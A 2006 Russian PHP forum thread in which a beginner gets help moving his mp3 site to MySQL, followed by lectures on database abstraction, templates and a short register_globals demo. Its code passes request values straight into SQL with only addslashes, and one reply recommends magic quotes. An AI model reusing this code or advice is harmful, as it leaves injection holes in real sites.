Изменение данных в таблице с помощью php (!)

Разговоры на любые темы: вы можете обсудить здесь какой-либо сайт, найти единомышленников или просто пообщаться...
Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Изменение данных в таблице с помощью php (!)

Сообщение Diver2 » 15.08.2006 (Вт) 17:44

В общем, очень-очень-очень требуется помощь. Краткое вступление:

У меня небольшой сайт, 10000mp3, 3000 человек в день и тд и тп. Но сделан он был мною, а соотвественно, убого, на базе txt файлов, где хранилась информация. К чему это все привело? К нагрузке на сервер 11% и необходимостью до 20 июня оптимизировать сайт, либо его заморозят. Вот.

Стал я переползать на MySQL, и, как человек к нему непривыкший, столкнулся с жесткой проблемой. Искренне надеюсь, что кто поможет, а то мне <...цензура...>

Есть файл allartists.txt В нем по следующей схеме находится информация о примерно 1000 исполнителей:

Robbie Williams|~!|2
Beyonce|~!|3
Электра|~!|4
...

Соответственно, это имена исполнителей и их индекс-номера. Есть таблица, сделанная на базе остальных txt-файлов (их столько, сколько песен, то есть 10000 =)) в ней информация располагается следующим образом:

song_num | song_name | auth_num | auth_name | album

Понятно, что оптимальнее вынести исполнителей в отдельную табличку, где будут только их номера и имена.

В чем загвоздка? Система txt-файлов убогая, а потому случались сбои: в этой таблице у Эминема, например, около 250 песен, но при этом это три "разных" Эминема с разными номерами. Поэтому я написал следующий скрипт php + mysql:

Код: Выделить всё
$user1 = file("music/info/general/allartists.txt");
$tlis = 0;
    for($mp=sizeof($user1)-1;$mp>=0;$mp--){
        $mop = explode("|~!|",$user1[$mp]);
        $opp[$mp] = "$mop[0]|~!|$mop[1]";
        $list123[$tlis] = $opp[$mp];
        $tlis++;
    }
$stop=count($list123);

for ($u=0; $u<=$stop; $u++){
if(substr($list123[$u], 1, 6 )!= "")
{
$info=explode('|~!|', $list123[$u]);
$info[0] = addslashes($info[0]);

$a="UPDATE musicmain SET auth_num = $info[1] where auth_name = $info[0]";
if(!($dbResult = mysql_query($Query, $dbLink)))
{
   print("Could not update rows!<br>\n");
   print(mysql_errno() . ": " . mysql_error() . "<br>\n");
}

$info[0]="";
$info[1]="";
}
}



Результат весьма и весьма плачевный: первые исполнители идут с повторяющимися номерами, последующие (большинство) с номером "0".

ИзображениеИзображениеИзображениеИзображениеИзображениеИзображениеИзображение
One Day I will live in the palace & I will have everything I want (c) Aladdin

AjaxVS
Постоялец
Постоялец
 
Сообщения: 506
Зарегистрирован: 01.12.2004 (Ср) 13:12
Откуда: Donetsk, Battle.Net

Сообщение AjaxVS » 16.08.2006 (Ср) 20:25

Ничего не понял.

У тебя есть файл allartists.txt, в котором на каждой строчке написаны "имя_исполнителя|~!|его_индекс" и тебе надо загнать всю эту инфу в таблицу mysql? А для этого ты написал скрипт и он не работает?

Или куски текста выше и ниже тоже имеют к задаче какое-нить отношение? =)

Что касается скрипта. Обработка файла сверх-оригинальная, оставляю на твою совесть (хотя надо бы поругать =)), а вот насчет:
Код: Выделить всё
if(!($dbResult = mysql_query($Query, $dbLink)))

Ну.. и где же сам запрос $Query ? Он у тебя вроде $a...

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 17.08.2006 (Чт) 0:49

Ничего не понял.


Наверное, я плохо излагаю... Сорри...

У тебя есть файл allartists.txt, в котором на каждой строчке написаны "имя_исполнителя|~!|его_индекс" и тебе надо загнать всю эту инфу в таблицу mysql? А для этого ты написал скрипт и он не работает?


В точку

Или куски текста выше и ниже тоже имеют к задаче какое-нить отношение? =)


Сверху вступление, снизу - результат, который я поулчил...

Что касается скрипта. Обработка файла сверх-оригинальная, оставляю на твою совесть (хотя надо бы поругать =)), а вот насчет:


Лучше поругать, а то я никогда ничему не научусь. Все изучал сам, по нетолковой книжке, и на уровне "сделать сайт хоть как-нибдуь"

Ну.. и где же сам запрос $Query ? Он у тебя вроде $a...


Сорри, это я не оттуда информацию копировал. Это-то понятно, я не полный "здравствуй, стенка". только вот все равно не работает.

Не "сетит" он в итоге, как надо. Что делать?..
One Day I will live in the palace & I will have everything I want (c) Aladdin

AjaxVS
Постоялец
Постоялец
 
Сообщения: 506
Зарегистрирован: 01.12.2004 (Ср) 13:12
Откуда: Donetsk, Battle.Net

Сообщение AjaxVS » 17.08.2006 (Чт) 5:20

Да я бы поругал, но некоторые личности на этом форуме что-то остро реагируют на критику..

В общем, вот... Тебе осталось только добисать запрос на вставку (в последнем цикле, там прокомментированно).

Может, где-то и прогнал =)

Код: Выделить всё
<?

//надо ли удалить повторяющихся певцов
$b_must_unique = 1;

//путь к файлу относительно скрипта
$s_file = "d:/php/allartists.txt";

//так и оставить..
$s_razdel = "|~!|";

//ну, подключиться ты вроде и сам можешь
//$mysuxql_conn = mysql_connect ("host", "username", "pass") or die ("Соединение не установлено!");

//дальше пошел код

$f = file($s_file);
$a_arts = array();
$a_inds = array();
foreach ($f as $i) {
$a = explode($s_razdel, $i);
if ($b_must_unique) {
  if (!in_array($a[0], $a_arts)) {   
   array_push($a_arts, $a[0]);
   array_push($a_inds, $a[1]);
  }
} else {
   array_push($a_arts, $a[0]);
   array_push($a_inds, $a[1]);
}
}

for ($i=0; $i<count($a_arts);$i++) {
$s0 = $a_arts[$i];
$s1 = $a_inds[$i];
//тут надо вставить запрос на вставку значений - певца и его индекса
//написать не могу, т.к. не знаю, что у тебя там как обозначено.
}


//ну и закрыть соединение с базой, вроде тоже умеешь..
//mysql_close($mysuxql_conn);

echo "все ок";
?>

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 17.08.2006 (Чт) 9:11

Слушай, даже как-то неудобно... Я же не подразумевал, чтобы ты взял и написал все за меня... Спасибо тебе огромное...

Сейчас пойду налаживать... Если что, то бегом сюда...

Спасибо еще раз... ИзображениеИзображениеИзображениеИзображение
One Day I will live in the palace & I will have everything I want (c) Aladdin

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 17.08.2006 (Чт) 15:29

YES!!!!!!!!!!!!

Поспал, вставил, - пашет!!!

Код: Выделить всё
<?

//надо ли удалить повторяющихся певцов
$b_must_unique = 1;

//путь к файлу относительно скрипта
$s_file = "music/info/general/allartists.txt";

//так и оставить..
$s_razdel = "|~!|";

//ну, подключиться ты вроде и сам можешь
$mysuxql_conn = mysql_connect ("localhost", "exbaby", "password") or die ("Соединение не установлено!");
if(!mysql_select_db("exbaby", $mysuxql_conn))
{
   print("Could not select database!<br>\n");
   print(mysql_errno() . "; " . mysql_error() . "<br>\n");
   exit();
}

//дальше пошел код

$f = file($s_file);
$a_arts = array();
$a_inds = array();
foreach ($f as $i) {
$a = explode($s_razdel, $i);
if ($b_must_unique) {
  if (!in_array($a[0], $a_arts)) {   
   array_push($a_arts, $a[0]);
   array_push($a_inds, $a[1]);
  }
} else {
   array_push($a_arts, $a[0]);
   array_push($a_inds, $a[1]);
}
}

for ($i=0; $i<count($a_arts);$i++) {
$s0 = $a_arts[$i];
$s1 = $a_inds[$i];
$s0 = addslashes($s0);

$Query="UPDATE artists SET auth_num = '$s1' where auth_name = '$s0'";
if(!($dbResult = mysql_query($Query, $mysuxql_conn)))
{
   print("Could not update rows!<br>\n");
   print(mysql_errno() . ": " . mysql_error() . "<br>\n");
}
}


//ну и закрыть соединение с базой, вроде тоже умеешь..
mysql_close($mysuxql_conn);

echo "все ок";
?>


Так работает... Еще раз спасибо...
А можно еще вопросик? Или это надо новую тему, или это будет слишком часто и нагло? В общем, я спрошу, а вы сами решайте.

Код: Выделить всё
$result = "mysql_query(SELECT count(*) FROM `artists` WHERE auth_name = '$songsauthor', $dbLink)";
if(mysql_num_rows($result) == 0)
{  $c_insert = "INSERT INTO artists (auth_name, firstletter)
                 VALUES ('$songsauthor', '$fcletter')";
    $c_page = mysql_query($c_insert, $dbLink); }


Добавить в таблицу "артисты" новых исполнителей, но только если их там еще нет... Надеюсь, я не насписал опять полного бреда.
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 17.08.2006 (Чт) 15:51

Diver2 писал(а):
Код: Выделить всё
$result = "mysql_query(SELECT count(*) FROM `artists` WHERE auth_name = '$songsauthor', $dbLink)";
if(mysql_num_rows($result) == 0)
{  $c_insert = "INSERT INTO artists (auth_name, firstletter)
                 VALUES ('$songsauthor', '$fcletter')";
    $c_page = mysql_query($c_insert, $dbLink); }


Добавить в таблицу "артисты" новых исполнителей, но только если их там еще нет... Надеюсь, я не насписал опять полного бреда.


Ну во-первых не
Код: Выделить всё
$result = "mysql_query(SELECT count(*) FROM `artists` WHERE auth_name = '$songsauthor', $dbLink)";


а

Код: Выделить всё
$result = mysql_query("SELECT count(*) FROM `artists` WHERE auth_name = '$songsauthor'", $dbLink);


потом. этот запрос всегда будет возвращать 1 запись - а именно число. поэтому надо так.





Код: Выделить всё
$sql = "SELECT count(`auth_name`) as f_count
        FROM `artists`
        WHERE `auth_name` = '$songsauthor' " ;

$res = mysql_query($sql, $dblink);
if (!$res)
{
die("Ошиба выполнения запроса");
}

$row = mysql_fetch_assoc($res);

if($row['f_count']=='0')
{
   // ТО АРТИСТА В БАЗЕ НЕТ, И ЕГО НАДО ДОБАВЛЯТЬ
}

—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 17.08.2006 (Чт) 16:17

Спасибочки, работает!

Только в четвертой строчке не $dblink, а $dbLink. Но это здорово, что ты опечатался, иначе у меня мозги скоро совсем бы скисли.

Thanks a lot.
One Day I will live in the palace & I will have everything I want (c) Aladdin

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 18.08.2006 (Пт) 18:04

В общем, стараниями отзывчивых Хакера и AjaxVS, я практически доделал сайт.

Вот этот "скрипт" (сценарий) добавляет в администраторской панели песню. Зная, что я малость криворукий, предполагаю, что его можно сократить или улучшить... Просто в "альбомах" это повторится 15-20 раз, а во всяких "сборниках" вплоть до 100-120... Очень не хочется перегружать базу по собственной глупости... Подскажите?


Код: Выделить всё
$format = $_POST['format'];
$songsauthor = $_POST['songsauthor'];
$songname = $_POST['songname'];
$songfile = $_POST['songfile'];
$albumname = $_POST['albumname'];
$catalog = $_POST['catalog'];
$asize = $_POST['asize'];
$bsize = $_POST['bsize'];
$asongtime = $_POST['asongtime'];
$bsongtime = $_POST['bsongtime'];

$size="$asize";
$size.=".";
$size.="$bsize";

$time="00:";
$time.="$asongtime";
$time.=":";
$time.="$bsongtime";
$songfile.=".mp3";

if(substr($songsauthor, 0, 1)==" "){$songsauthor=substr($songsauthor, 1);}
$songsauthor=ucfirst($songsauthor);
$fcletter=substr($songsauthor, 0, 1);

$songfile=addslashes($songfile);
$catalog=addslashes($catalog);
$albumname=addslashes($albumname);
$songname=addslashes($songname);
$songsauthor=addslashes($songsauthor);



// Вставка в артистов

$sql = "SELECT count(`auth_name`) as f_count
        FROM `artists`
        WHERE `auth_name` = '$songsauthor' " ;
$res = mysql_query($sql, $dbLink);
if (!$res) { die("Ошиба выполнения запроса");}

$row = mysql_fetch_assoc($res);
if($row['f_count']=='0')
{  $c_insert = "INSERT INTO artists (auth_name, firstletter)
                 VALUES ('$songsauthor', '$fcletter')";
    $c_page = mysql_query($c_insert, $dbLink); }

$sequl = "SELECT max(auth_num) as max_id FROM artists";
$res = mysql_query($sequl, $dbLink);
$row = mysql_fetch_assoc($res);
$author_id = $row[max_id];


// вставка в songs

$c_insert = "INSERT INTO songs (file_name, format, size, time)
           VALUES ('$songfile', '$format', '$size', '$time')";
       $c_page = mysql_query($c_insert, $dbLink)
           or die('counter INSERT error: '.mysql_errno().', '.mysql_error());


// вставка в musicmain
$c_insert = "INSERT INTO musicmain (song_name, auth_num, auth_name, album)
           VALUES ('$songname', '$author_id', '$songsauthor', '$albumname')";
       $c_page = mysql_query($c_insert, $dbLink)
           or die('counter INSERT error: '.mysql_errno().', '.mysql_error());


mysql_close($dbLink);

header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
exit;

}
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 18.08.2006 (Пт) 20:57

1)
Код: Выделить всё
$author_id = $row[max_id];
Надо
$author_id = $row["max_id"];


Хоть это и не ошибка, но так делать нелзья + при соотв. уровне репортинга, сообщения всё же появятся.

2) Переритай ещё раз свою подпись :)

3) А вообще, я бы посоветовал сделать сайт по уму, а не вот так.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

AjaxVS
Постоялец
Постоялец
 
Сообщения: 506
Зарегистрирован: 01.12.2004 (Ср) 13:12
Откуда: Donetsk, Battle.Net

Сообщение AjaxVS » 18.08.2006 (Пт) 22:18

1.
Код: Выделить всё
if(substr($songsauthor, 0, 1)==" "){$songsauthor=substr($songsauthor, 1);}

Это типа извращенный способ замены функции ltrim()? =)
В общем, лучше $songsauthor = trim($songsauthor);

2.
Код: Выделить всё
$_SERVER['PHP_SELF']

Давненько я такого не видел.. В принципе, везде юзают $PHP_SELF. Если в функции, то не забудь после "...(){" прописать "global $PHP_SELF;".

3. Ну и не забывай о кавычках, что-то ты их часто забываешь ставить..

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 18.08.2006 (Пт) 23:33

А вообще, я бы посоветовал сделать сайт по уму, а не вот так


Ну не темни, расскажи, как по уму? Понимаешь, сайт мне нравится, все время уходит на контент, абсолютно нет возможности сесть и толком изучить mysql, сайт тогда просто загниет... тематика обязывает все время развиваться...

AlaxVS, спасибо!

P.S. подпись подрекдактировал :P
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 18.08.2006 (Пт) 23:46

Это значит, что для приличия, напиши класс в котором будет вся рутинная работа с базой.

Можешь даже написать DAL чтобы из админки можно было переключать СУБД.

вот... это могу сказать только потому что у тебя есть.

Но мне почему то кажется, что и шаблонизатора у тебя нет. Верно?

И каждая страница сделана одним независимым файлом? Т.е. ничего не include-ится.

Так?
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 19.08.2006 (Сб) 0:00

Это значит, что для приличия, напиши класс в котором будет вся рутинная работа с базой.

1) Это ускорит время выполнения?
2) Почему от этого станет лучше?

Можешь даже написать DAL чтобы из админки можно было переключать СУБД.

Хмм... стыдно, конечно, надо, наверное, было сказать что-то типа "ага", но я не знаю, что это такое... :oops:

Но мне почему то кажется, что и шаблонизатора у тебя нет. Верно?

Объясни, что ты имеешь в виду, а я скажу, есть ли он.

И каждая страница сделана одним независимым файлом? Т.е. ничего не include-ится.

Есть страницы:
music.php?sort=new - последние песни
music.php?id= - конкретная песня
reviews.php - последние альбомы
songs.php?id= - песни конкретного исполнителя
song.php?sort= - архив

Подскажи, если что не так.

"Инклюдятся" из отдельных txt-файлов:

1) верхняя шапка
2) реклама
3) меню
4) левая менюшка (вместе со сценарием)
5) правая менюшка (вместе со сценарием)
6) копирайт

Центровушка выполняется в зависимости от id или sort




Хакер, очень тебя прошу, если это убого, и я полный кретин, скажи в чем!!! Подскажи, как лучше, ты же знаешь, не держи в себе...
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 19.08.2006 (Сб) 1:32

Отлично. Попробую тебя навести ну путь истины.

Про класс для работы с БД.
1) возможно эту и ускрит работу
2) так лучше ибо код станет выглядеть так.

Код: Выделить всё
$db->query("SELECT a FROM b WHERE c");
if($db->error_info(EI_PROCEDURE)
{
echo "Ошибка DB<br>" .
"Код ошибка " . $db->error_info(EI_NUMBER) . '<br>' .
"Описание " . $db->error_info(EI_DESCRIPTION) . '<br>'.
"Поплачте в платок, сайт не загрузится, любимую песню не скачаете";
}
$row = $db->fetch_row();
If($row['artist']=="Gd-78")
{
чтонибудьтам
}


Сделай отдельные методы для начала и "кончала" тразнакций.
Вобщем, код будет читаем.

Я для своего сайта сделал такой класс (причём с DAL).

У меня, например, реализована поддержка уровневого режима работы.
Т.е. модуль позволяет работать сразу с несколькими БД.

Причём я абсолютно не знаю таких проблем как $dbLink и прочее.

у каждой db у меня есть свой алиас. Т.е. её псеводимя.

и я просто делаю так
Код: Выделить всё
$db->set_db('forum_db')
// все запросы теперь пойдут к этой дб.
$db->set_db('main_db')
// а теперь к главной дб.

и я абсолютно не волнуюсь, не забыть, какой у меня там $dbLink. Я никогда не сохранаю результат запроса в отдельную переменную.
Нет, безусловно, если я дедаю несколько запросов, я могу сделать так:
Код: Выделить всё
$q1res = $db->query("первый запрос");
$q2res = $db->query("вторй запрос");
$q3res = $db->query("третий запрос");
echo $db->num_rows($q1res);
echo $db->num_rows($q2res);
echo $db->num_rows($q3res);


Но если у меня только 1 запрос с которым я работаю, я ничего не сохраняю и ничего не передаю функциям fetch_row, num_row и прочим. Модуль сам понимает, что речь идёт о прошлом запросе и внутри себя делает всё "по уму".

Теперь об уровнях.

Предположим, что у нас есть некоторая функция А, которая работает не с основной БД.

Т.е. код её примерно такой:
Код: Выделить всё
function A()
{
   global $db;
   $db->set_db('some_strange_additional_db');
   // Какие то операции.
}


так вот. Эта функция выставляет в качестве дефолтной базы, дополнительную базу.

В этом случае я делаю вероятность ошибки. Допутим какой-то скрипт работает с основной базой, делает 1 запрос, потом вызывает функцию А, потом делает ещё 1 вопрос.

Но функция А поменяет дефолтную базу, и второй запрос выполнится уже на неё. А этого быть не должно. Значит каждая функция перед тем как завершиться, должна ещё и проверять - какая БД была "по умолчанию" до вызова этой функции, и восстанавливать её, если в процессе работы функции была установлена какая-то другая дефолтная бд. Так? А может быть нет? Может быть - пусть код вызывающий функцию должен беспокоиться о том, что она, своей работой может поменять дефолтную базу? Или же не стоит? Просто надо учитывать что откуда вызывается и где нужно менять базу?

Но у меня в одном файле сотни... сотни функций выполняющих какие то операции к БД. И сотни мест, откуда каждая из них когда-либо вызывается.
Не могу я в каждую из них вставить код
(в начале) - $lastdbname = $db->get_db();
(в конце) If($lastdbname!=$db->get_db) { $db->set_db($lastdbname); }
слишком много лишнего, бессмысленного, малоэффективного кода.
И я немогу пологаться на удачу и надеяться на что, что всегда и до вызова функции, и после неё, код будет работать с одной и той же базой. Я не робот, я человек - и я могу ошибится. И эти ошибки, будут дорого мне стоить - посетители сайта получат двухстраничный список ошибок. Они уйдут - их и сейчас катострофически нехватает.

Значит я должен предотвратить возможность возникновения таких ошибок, ибо всё это bad-coding. Я решил ввести в модуль БД понятия уровней и субуровней.

Так что моя функция А теперь выглядит так:
Код: Выделить всё
function A()
{
$db->begin_level('some_level');
// Какой то код.

}


Вот.. под понятием "какой то код" может скрываться всё что угодно - я могу внутри этой функции установить любую базу, сгенерировать любую ошибку.

Понимаешь, у меня оно сделано так - если какая то операция выполняется с ошибкой, информацию (об ошибке) можно всегда получить с помощью с помощью $db->error_info().

Если мой код выглядит так
Код: Выделить всё
<< ошибочный запрос >>
A();


я буду уверпен что информация об ошибке в "<< ошибочный запрос >>" всегда будет доступна, как информация о самой последней ошибке - т.е. всегда получаема через error_info. И даже если в A() произойдёт своя ошибка, И ДАЖЕ с учётом того что A() работает с той же БД что и основной код, я всё равно после вызова A() получу эту информацию, и именно о той ошибке, которая произошла на первой строчке. И я могу быть уверенным что, каким бы экзотическим не был код A(), после её вызова всё будет так, как будто её не вызывали. Т.е. никаких непредвиденные ошибок не будет.

Всё из за "уровней". Код получается кратким, но не нужно его недооценивать. Нет. Он мощный и гибкий. Не надо думать что из-за этого нововведения я не смогу получить доступ к error-info произошедшей внутри A(). Всё просто - нужно просто указать что я хочу полуить информацию об ошибке, произошедшерй именно на уровне 'some_level'.

Работа на этом уровне может быть даже продолжена из других функций. 2 функции могут работать на одном уровне - с одной и той же БД, пусть даже отличной от той, с которой работает основной код. И что бы не делал основной код между вывовами A и B, в функции B этого не будет заметно. Пусть даже основной код закроет соединение с базой, с которой шла работа на уровне 'some_level'. В функции B всё равно будет возможность продолжения работы с этой базой. Т.е. её по прежнему можно будет set_db(). И эта возможность будет пока уровень не будет complete_level().
Но, опять же, не надо думать что мой код не даёт возможности закрыть соединение с базой так, чтобы она перестала маппиться на всех уровнях - нет, всё это запросто, просто нужно воспользоваться специальной функцией.

Это в чём то похоже на системные прерывания - я могу быть уверен, что после прерывания в регистрах процессора останется то же самое, что и до него. Мне по-сути дела безразлично что делает прерывания.


Хмм... стыдно, конечно, надо, наверное, было сказать что-то типа "ага", но я не знаю, что это такое...


DAL это Database Abstraction Layer. А если по русски - уровень абстракции базы данных. Это то, что позволяет скрипту не заботиться о том, с каким типом СУБД приходится работать. Заметь. В моём коде нет mysql_query, у меня просто query. Вот представь, завтра твой хостер скажет, что mysql больше не поддерживается, юзайте postrge. Что будешь делать? менять все mysql_connect на pg_connect ? а не сложно ли это? Случись такое со мной (тфу, тфу , тфу) - я просто переобъявлю константу dbms. Мой DAL содержит отдельный код, для каждого типа БД. Т.е. есть класс для работы с Mysql, есть для работы с MsSQL. Есть ещё класс переходник. В результате я получаю 1 единственный объект $db - с, всегда постоянным, набором функций.

Ну... я могу ещё долго рассказывать, ну закончим на этом :wink:

Но мне почему то кажется, что и шаблонизатора у тебя нет. Верно?


Вот пример шаблонов:
http://bbs.vbstreets.ru/templates/subSilver/

посмотри файлы - это шаблоны. Если у тебя такого нет, значит и шаблонизатора нет тоже.

(Судя по слелующим твоим словам, я почти понял что у тебя его нет).
Могу объяснить что это.

1) верхняя шапка
2) реклама
3) меню
4) левая менюшка (вместе со сценарием)
5) правая менюшка (вместе со сценарием)
6) копирайт

Центровушка выполняется в зависимости от id или sort


Я скажу так... никто не запрещает делать так (как у тебя). Но лучше подключать файлы по их функциональности, а не по контенту. Т.е. отдельно файл для работы с БД. Отдельно файл для подсчёта статистики.

Хакер, очень тебя прошу, если это убого, и я полный кретин, скажи в чем!!! Подскажи, как лучше, ты же знаешь, не держи в себе...


Убого... убого, но ты не кретин. Ты просто новичок, ты не знаешь.
Я тоже был таким, я тоже спрашивал, как в php склеить две строчки? + не помогает. Вот собственно, я и подсказал.

Надеюсь, мои слова как то подействуют на тебя. У меня есть, на мой взгляд, достаточный опыт, чтобы советовать. Видишь ли, всё вышеописанное делается мной в данный момент.

Я уже 6 месяцев делаю один крупный и сложный сайт (да-да,AjaxVS, можешь злорадствовать сколько хочешь).

Всё что я описал, всё это я реализовал в нём. На все эти умные системы я потратил 2 месяца - да, было сложно... да, было скучер писать сотни строк кода, неделями, не имея возможности наблюдать прогресс в разработке сайта. Я писал какой-то код, который придумывался на ходу. Я не знал, будет ли он работать, и как. Меня спрашивали - как прогресс с сайтом, и мне было стыдно говорить, что ни одной страницы не сделано. Но оно того стоило. Сейчас я создаю страницы "в 2 клика". Главная страница, в которой напиханнно море инфы, занимает примерно где то 80 строчек. И также с остальными страницам. Делать выводы тебе :wink:
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 19.08.2006 (Сб) 1:54

По поводу вот этого
Код: Выделить всё
$songfile=addslashes($songfile);
$catalog=addslashes($catalog);
$albumname=addslashes($albumname);
$songname=addslashes($songname);
$songsauthor=addslashes($songsauthor);


имхо, проще включить MagicQuotes.

Хотя, конечно, если опять же говорить о качественном подходе, базовый модуль (обычно именуемый common.php) подключаемый абсолютно ко всем скриптам сайта, должен проверять
1) включены ли MQGCP и если нет, сам делать экранирование.
2) выключена ли register_globals и если вдруг включена - сам удалять все ненужные GPC.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

AjaxVS
Постоялец
Постоялец
 
Сообщения: 506
Зарегистрирован: 01.12.2004 (Ср) 13:12
Откуда: Donetsk, Battle.Net

Сообщение AjaxVS » 19.08.2006 (Сб) 1:59

Для Хакера раз и навсегда. Я не злорадствую. Просто вы > 6 месяцев назад выставили меня кретином, ничего не понимающим в www-деле, а в итоге я оказался прав. Но вместо того, чтобы извиниться, вы начали гнать на меня еще больше. Но тема не об этом.

Если честно, даже мне трудновато было читать эту "лекцию" Хакера (хотя спс ему, конечно, за старание =)). Но, основываясь на своем опыте, скажу:

1. Классы делать вовсе не обязательно. Это кому как удобнее. Никогда не использовал классы и кодил, не зная проблем. Так что, если не собираешься работать на тупого дяду из тупой фирмы, который не понимает слов "дайте мне задание, я вам все сделаю, но КАК - это моя забота, а не ваши вводные", то забудь о классах. Сайт ведь готов уже.

2. DAL - вещь, конечно, замечательная, но не в наше время. Сегодня все платные хостинги и уже часть бесплатных без проблем поддерживает MySql. Так что опять же - хочеться погружаться в глубины программирования - пожалуйста.. Нет - не мучайся =)

3. шаблонизатор сайту не нужен. Не то направление. Главное преимущество сайта mp3 - минимум графики, максимум контента (mp3), что сайт с успехом и делает (Linkin Park - альбом на пианино я еще нигде не видел, хотя искал много..). А форум у тебя phpBB-шный, не свой, так что делать шаблоны - пустая трата времени.

4.
Хакер писал(а):Т.е. ничего не include-ится.
Признавайся, коллега, сломал сайт уже? =)) Посмотрел исходники.. не инклудится =))

Да, и насчет возможности "создавать страницы в 2 клика".. Это, конечно, руль.. Но со временем твои классы устареют, ты станешь более профессиональнее, посмотришь на код и подумаешь: "а вот это можно было сделать и получше".. В итоге, опять засядешь на 2-3-6 месяцев на создание классов.. Так что лучше делай как можешь.
Имхо =)

ЗЫ. 2 Хакер. А ты видел сервер с включенными register_globals? Дай мне линк, завтра от него ничего не останется =)

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 19.08.2006 (Сб) 2:08

Ну да видел.
www.fire-lines.com :)

но я сразу же исправил ситуацию.

3. Нет шаблонизатор всё же нужен. Учитывя то, что я имею ввиду под этим понятием.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 19.08.2006 (Сб) 4:32

Действительно, спасибо хакеру за лекцию... это... не мой уровень... я даже не понял, что вы имели ввиду... так, в общих чертах, что это чертовски круто, и вы сделали что-то вроде персонального DreamWeaver'а для сайта. Хотя Dream'ка убогая... а это... просто круто...

Еще я понял, что все-таки засяду за изучение php/mysql, так как имел мысль сделать свой форум... да и сайт, оказывается, просто стыдно показывать...

Кроме того, вы меня напугали. Получается, таким как вы отыметь весь мой сайт - полчаса работы, если не меньше? Я понимаю, что от таких, как вы защититься нереально, но, все-таки, дайте совет, как себя хоть немного защитить? Хотя бы от малолетних недоучек?

Посмотрел исходники.

А это сложно сделать?

шаблонизатор всё же нужен

На данный момент соглашусь все же с AjaxVS, так как в нынешнем состоянии оставить сайт не могу, а сделать шаблоны сходу... смешно... Разберусь толком, что это, и приму решение.
Хакер, среди этих файлов были стилевые... такие у меня есть, html'ем владею неплохо... хотя теперь я ни в чем не уверен...

Кстати, если можно посмотреть исходники, значит, можно увидеть пароль к базе... а это катастрофа... как его скрыть? Опять же, что можно сделать не очень сложного для самозащиты? И где, черт возьми, надо создать ваш common.php и как там отключить гребанные register_globals? Ребята, я не слабонервный, но вас слушать просто страшно...

Хакер, а то, что написано на этом сайте, что там нет сайта... Это ты так исправил ситуацию? Очень тебя прошу мой сайт не ломать... В том смысле, что не наносить ущерб... Я сюда за помощью пришел, в конце концов...

Рад, что музыка пригодилась. Спасибо за советы. Очень надеюсь, что успею, и эти сволочи с хостинга нас не отрубят. А то уже 19-е... черт, я уже почти 70 часов не спал... А говорят, человек не может жить без сна... врут.
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 19.08.2006 (Сб) 10:28

register_globals
это такая штука, из за которой GPC переменный автоматически регистрируются.

Ну то есть, например, есть у тебя такой скрипт:
(test.php)
Код: Выделить всё
<?php
echo $macca;
?>


простенький скрипт, не правда ли? Кажется, ну что ту ломать?
Теперь поясню:
если register_globals() включен -
то вызвав скрипт как

test.php?macca=79791313
мы увидим это число в броузере. Т.е. по сути дела все наши переменные $_GET и $_GET (и даже $_COOKIE) появятся в массиве так, как мы их передали.

Хорошо, примерчик по сложней, но не настолько.
Ты говорил что всё правая колонка у тебя include-ится. Верно?
Теперь я спрошу - а ты позаботился о том, что скрипт который подключают, подключали оттуда откуда надо?

